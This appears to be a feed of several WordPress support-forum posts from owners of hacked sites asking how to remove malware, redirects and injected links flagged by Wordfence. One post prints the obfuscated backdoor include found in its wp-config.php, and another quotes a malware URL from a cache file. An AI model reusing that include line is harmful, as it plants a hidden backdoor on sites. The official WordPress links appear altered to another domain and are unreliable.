Many files have been deleted by me as per the recomendation of Wordfence.
However I am getting some files where the details are as follows:
1) Filename: wp-includes/css/dist/components/efqmobbx.php
File Type: Core
Details: This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. Learn More
If I try to delete this file it does not get deleted.
Moreover I am unable to see this file when I log into my site with FTP.
2) Filename: wp-config.php
File Type: WordPress Configuration File
Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: include “\057hom\145/u1\064
The issue type is: Backdoor:PHP/ObfuscatedInclude.6067
Description: PHP include() statement with an obfuscated filepath.
This is your main configuration file and cannot be deleted. It must be cleaned manually.
I want to know how to clean this file manually. I downloaded the file from my server and I found this code in the top part of the file
“<?php
/*56f0b*/
@include “\057hom\145/u1\06495-\14366c\067w8m\1668fb\057www\057sma\162tba\142yad\166ice\056com\057pub\154ic_\150tml\057wp-\151ncl\165des\057ima\147es/\155edi\141/.3\1418ae\066e2.\151co”;
/*56f0b*/
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don’t have to use the web site, you can
* copy this file to “wp-config.php” and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.www.ads-software.com/Editing_wp-config.php
*
* @package WordPress”
Can someone please help me with these issuess asap
]]>i have downloaded several malaware detection plugins including sucuri security
but it didnt detect any malaware , please help. thanks.
Please check the URL https://bitsonline.com
There are lots of CPU usages and many time site will be down. I didn’t know why it will offline and CPU usages > 99%.The server is AWS with cloud-fire system. Please check what is the reason and let me know.Can you confirm me please I am using acf PRO PLUGIN.This is good for WP performance?
]]>I downloaded the Disqus plugin from www.ads-software.com (the latest version), but before installing it, I ran a scan on virustotal.com and it shows the file contains VEX70E7.Webshell
So, it’s a backdoor?
]]>I’ve had some trouble with outgoing spam links and malaware files infecting certain core files and spreading within many folders in the wordpress directory. Foremost in img folder within certain plugins and themes. I’m guessing any folder with certain permissions get “infected”.
With help from Wordfence, Sucuri and GOTML I’ve been able to stop the malaware from affecting the website. But the files remained in the folders so I took it upon myself to check every folder for these files. I thought I should share the contents of the file if anyone has the same problem or is just interested.
It’s become quite easy to spot the files via ftp if you have a clean version of wordpress/the plugin/the theme and you compare how many files should be there and simply delete the ones that shouldn’t be there. It’s easy to tell from the date and sometimes file name as well.
Typical file names; article, db92, stats70, diff87, stats, title, view90, model,
[Malicious code redacted]
]]>In my front page there is a link with a 404 error that says ([removed]) underneath the header, it appears in all the pages.
I try to remove it from the editor function on wordpress but I can’t find it. When I inspect the element on google chrome I can see the (A href) link but I can’t find the way to remove it. I would be very grateful y someone can help me. And is there a way to prevent this hackings for the future?
Thanks! ]]>
File contains suspected malware URL: /home/access78/public_html/wp-content/cache/object/000000/0d0/d8e/0d0d8e01365741d085245fb28a70306b.php
Filename: wp-content/cache/object/000000/0d0/d8e/0d0d8e01365741d085245fb28a70306b.php
Bad URL: https://203koko.eu/hjnfh/ipframe2.php
File type: Not a core, theme or plugin file.
Issue first detected: 6 hours 12 mins ago.
Severity: Critical
Status New
But When i attempt to go to the plugin section saying :
“Tools: Delete this file (can’t be undone)” and click on it to delete it returns a box message saying the following:
“An error occurred
An invalid file was requested for deletion”.
I went into the Cpanel to search for the file but could not find anything. I’m panicking as Ive never encountered this problem before. Any assistance would be extremely appreciated.
Thank you in advance.
https://www.ads-software.com/plugins/wordfence/
]]>Header returned by request for: https://asmasempire.com
HTTP/1.1 302 Moved Temporarily
Date: Thu, 16 Jan 2014 12:34:59 GMT
Server: Apache/2.2.25 (Unix) mod_ssl/2.2.25 OpenSSL/1.0.0-fips mod_bwlimited/1.4
X-Powered-By: PHP/5.3.27
Location: https://www.uggdealsonline.com/
Note: This line has redirected the request to https://www.uggdealsonline.com/
Content-Length: 0
Connection: close
Content-Type: text/html
How can i get rid of this redirect on the WP website?
Thanks for your attention,
David Maas.
]]>